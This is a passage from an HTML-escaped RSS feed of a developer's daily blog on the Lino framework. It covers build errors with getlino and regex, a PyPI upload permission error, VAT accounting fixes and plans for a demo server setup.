  x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -I/usr/include/python3.7m -I/usr/local/lino/lino_local/mdga/env/include/python3.7m -c regex_3/_regex.c -o build/temp.linux-x86_64-3.7/regex_3/_regex.o
  unable to execute &amp;#39;x86_64-linux-gnu-gcc&amp;#39;: No such file or directory
  error: command &amp;#39;x86_64-linux-gnu-gcc&amp;#39; failed with exit status 1
  ----------------------------------------
  ERROR: Failed building wheel for regex
  Running setup.py clean for regex
Failed to build regex
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The problem disappeared after doing:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install build-essential
$ sudo chown -R root:www-data .
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But maybe only the second command was enough.&lt;/p&gt;
&lt;p&gt;Note that build-essential was installed automatically on the new &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt;
server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt list build-essential
Listing... Done
build-essential/stable,now 12.6 amd64 [installed,automatic]
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I also opened (and did) &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3195"&gt;#3195&lt;/a&gt; (getlino should install a bash_aliases).&lt;/p&gt;
&lt;p&gt;And then released getlino 19.9.6, immediately followed by a bug-fix release
19.9.7&lt;/p&gt;
&lt;p&gt;Note : I saw the following when running &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;pip3&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;-U&lt;/span&gt; &lt;span class="pre"&gt;getlino&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="n"&gt;wheels&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;collected&lt;/span&gt; &lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;
  &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;bdist_wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;
  &lt;span class="n"&gt;Complete&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;command&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;import setuptools, tokenize;__file__=&amp;#39;/tmp/pip-install-60_bjbe5/getlino/setup.py&amp;#39;;f=getattr(tokenize, &amp;#39;open&amp;#39;, open)(__file__);code=f.read().replace(&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;);f.close();exec(compile(code, __file__, &amp;#39;exec&amp;#39;))&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;bdist_wheel&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;wheel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ccxtqxgt&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt; &lt;span class="n"&gt;cp37&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;usage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;global_opts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;cmd1&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;cmd1_opts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;cmd2&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;cmd2_opts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
     &lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;cmd1&lt;/span&gt; &lt;span class="n"&gt;cmd2&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
     &lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;commands&lt;/span&gt;
     &lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;

  &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;invalid&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bdist_wheel&amp;#39;&lt;/span&gt;

  &lt;span class="o"&gt;----------------------------------------&lt;/span&gt;
  &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;building&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;
  &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;clean&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;
&lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;
&lt;span class="n"&gt;Installing&lt;/span&gt; &lt;span class="n"&gt;collected&lt;/span&gt; &lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;
  &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="n"&gt;existing&lt;/span&gt; &lt;span class="n"&gt;installation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="mf"&gt;19.9.6&lt;/span&gt;
    &lt;span class="n"&gt;Uninstalling&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;19.9.6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;uninstalled&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;19.9.6&lt;/span&gt;
  &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;installed&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;19.9.7&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Maybe this is when I forget to specify &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;-H&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="releasing-lino-avanti"&gt;
&lt;h2&gt;Releasing Lino Avanti&lt;a class="headerlink" href="#releasing-lino-avanti" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I prepared the PyPI release for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt;.  &lt;a class="reference external" href="https://avanti.lino-framework.org/changes/2019.html#avanti-changes-2019" title="(in Lino Avanti)"&gt;&lt;span&gt;2019&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I created &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3197"&gt;#3197&lt;/a&gt; because I had the following error message when trying
to &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;sdist&lt;/span&gt; &lt;span class="pre"&gt;release&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;HTTPError: 403 Client Error: The credential associated with user ‘luc.saffre’
isn’t allowed to upload to project ‘lino-avanti’.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0912.html</guid><pubDate>Thu, 12 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 11, 2019</title><link>https://luc.lino-framework.org/blog/2019/0911.html</link><description>&lt;section id="wednesday-september-11-2019"&gt;
&lt;h1&gt;Wednesday, September 11, 2019&lt;a class="headerlink" href="#wednesday-september-11-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3192"&gt;#3192&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I first subtle problem was how to report a configuration error.  What to do when
there is no &lt;a class="reference external" href="https://dev.lino-framework.org/dev/nutshell.html#term-database-object" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;database object&lt;/span&gt;&lt;/a&gt; defined for a given &lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#term-common-account" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;common account&lt;/span&gt;&lt;/a&gt;?
Lino said “Exception: Not an account: None” when you tried to register an
invoice and the account for &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-returnable-VAT" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;returnable VAT&lt;/span&gt;&lt;/a&gt; was not configured. Now it
says “Exception: Not an account: No account pointing to VAT returnable”. The
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.CommonAccounts.get_object()&lt;/span&gt;&lt;/code&gt; method now returns a
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;MissingAccount&lt;/span&gt;&lt;/code&gt; object when there is no ledger account for this common
account.   TODO: write a test case to reproduce the situation.&lt;/p&gt;
&lt;p&gt;Another problem was that Lino  added &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-returnable-VAT" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;returnable VAT&lt;/span&gt;&lt;/a&gt; in the total fields
of the invoice. (The generated movements were already correct before.)&lt;/p&gt;
&lt;p&gt;I changed the label of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatTotal.total_incl" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatTotal.total_incl&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from “Total
incl. VAT” to “Total to pay”.  Because when &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-returnable-VAT" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;returnable VAT&lt;/span&gt;&lt;/a&gt; is being
applied, “incl VAT” would be disturbing because there actually &lt;em&gt;is&lt;/em&gt; VAT, but
that VAT is not to be paid.&lt;/p&gt;
&lt;p&gt;En passant I fixed another bug in the VAT setup (both in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.bevat.html#module-lino_xl.lib.bevat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.bevat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.eevat.html#module-lino_xl.lib.eevat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.eevat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;): &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-returnable-VAT" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;returnable VAT&lt;/span&gt;&lt;/a&gt;
was also configured for sales, but that was wrong : in a sales invoice to an
intracom partner you don’t specify any VAT at all. In a sales invoice to an
intracom partner, there is simply no VAT to be generated. IOW even for services
and good for which national customers must pay VAT (because their VAT class is
normal or reduced but not exempt), the VAT rule specifies a rate of 0.&lt;/p&gt;
&lt;p&gt;I also fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2847"&gt;#2847&lt;/a&gt; : added the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;your_ref&lt;/span&gt;&lt;/code&gt; field to the
description of a &lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#term-ledger-movement" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;ledger movement&lt;/span&gt;&lt;/a&gt;.
TODO: this virtual description field of a &lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#term-ledger-movement" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;ledger movement&lt;/span&gt;&lt;/a&gt; is not yet
perfect. For example in MovementsByPartner it should not show the partner.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0911.html</guid><pubDate>Wed, 11 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Monday, September 9, 2019</title><link>https://luc.lino-framework.org/blog/2019/0909.html</link><description>&lt;section id="monday-september-9-2019"&gt;
&lt;h1&gt;Monday, September 9, 2019&lt;a class="headerlink" href="#monday-september-9-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I started working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2274"&gt;#2274&lt;/a&gt; (some extensions asked by the &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt;
&lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-operator" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site operator&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New option &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cv.html#lino_xl.lib.cv.Plugin.with_language_history" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cv.Plugin.with_language_history&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. If this is
True, Lino adds a field  &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;LanguageKnowledge.obervation_date&lt;/span&gt;&lt;/code&gt; and allows
multiple entries per &lt;cite&gt;(person, language)&lt;/cite&gt;. This can be used to record a
history of the evolution of a person’s language knowledge.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Renamed the demo project &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.adg&lt;/span&gt;&lt;/code&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.avanti1.html#module-lino_book.projects.avanti1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.avanti1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.avanti.settings&lt;/span&gt;&lt;/code&gt;, replaced their usage of &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.setup_plugins" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.setup_plugins()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; by &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.get_plugin_options()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reviewed the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;avanti/Client/final_report.body.html&lt;/span&gt;&lt;/code&gt; template and started using it.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0909.html</guid><pubDate>Mon, 09 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, September 8, 2019</title><link>https://luc.lino-framework.org/blog/2019/0908.html</link><description>&lt;section id="sunday-september-8-2019"&gt;
&lt;h1&gt;Sunday, September 8, 2019&lt;a class="headerlink" href="#sunday-september-8-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;How to install &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; on the new server for &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt;? We definitively
don’t want to install a new environment for every site, so it is not a
real &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-production-server" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;production server&lt;/span&gt;&lt;/a&gt;.  It is a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-demo-server" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;demo server&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-demo-server" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;demo server&lt;/span&gt;&lt;/a&gt; has a list of “demo projects” that it serves in a set of
“versions”.  For example:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;projects&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;versions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;master&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;stable&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There will be six sites on that server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stable&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I guess that this will need yet another little change in getlino: At the moment
we have a single &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-local-prefix" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--local-prefix&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and a single &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-shared-env" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--shared-env&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
But we need a mapping:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;table class="docutils align-default"&gt;
&lt;thead&gt;
&lt;tr class="row-odd"&gt;&lt;th class="head"&gt;&lt;p&gt;subdomain&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;local_prefix&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;shared virtual_env&lt;/p&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;master&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master_sites&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;/usr/local/lino/envs/master&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;stable&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;stable_sites&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;/usr/local/lino/envs/stable&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Does it make sense to use a demo server also for serving documentation? Each
“version” or “subdomain” on the server might also feature a build of a set of
doctrees.  But let’s rather try to delegate documentation to readthedocs.org,
after all it is their speciality.&lt;/p&gt;
&lt;p&gt;In a first step a mapping to local_prefix is not needed to differentiate between
master and stable. We can use different site names for each combination of (app,
branch, front_end).  I wrote installation instructions
(&lt;a class="reference external" href="https://hosting.lino-framework.org/install_demo/#getlino-install-demo" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Set up a public demo server&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Code changes:&lt;/p&gt;
&lt;p&gt;New option –shared-env for startsite.  When used with startsite, it overrides
the value specified during configure.&lt;/p&gt;
&lt;p&gt;Renamed the –contrib option  to –clone because it is also used when
configuring a demo server. It means “clone all known repositories to the
–repos-base and install them to the shared env using &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;-e&lt;/span&gt;&lt;/code&gt;.”&lt;/p&gt;
&lt;p&gt;The configure command now supports –clone without specifying a –repos-base.
In that case it uses the &lt;cite&gt;repositories&lt;/cite&gt; subdir of the shared-env.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0908.html</guid><pubDate>Sun, 08 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, September 5, 2019</title><link>https://luc.lino-framework.org/blog/2019/0905.html</link><description>&lt;section id="thursday-september-5-2019"&gt;
&lt;h1&gt;Thursday, September 5, 2019&lt;a class="headerlink" href="#thursday-september-5-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued research for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3188"&gt;#3188&lt;/a&gt; (see also &lt;a class="reference internal" href="0904.html"&gt;&lt;span class="doc"&gt;Wednesday, September 4, 2019&lt;/span&gt;&lt;/a&gt; and  &lt;a class="reference internal" href="0903.html"&gt;&lt;span class="doc"&gt;Tuesday, September 3, 2019&lt;/span&gt;&lt;/a&gt;).
It is actually not about curly quotes or not.  tidy has always warned about
them. But pytidylib takes the warnings for errors when the newer Tidy version is
used.&lt;/p&gt;
&lt;p&gt;I wrote a script to show the difference:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;tidylib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tidy_fragment&lt;/span&gt;
&lt;span class="c1"&gt;# html = &amp;#39;&amp;lt;table&amp;gt;&amp;lt;tbody&amp;gt;foo&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;p class=“Default“&amp;gt;Herrn Albert ADAM&amp;lt;/p&amp;gt;&amp;quot;&lt;/span&gt;
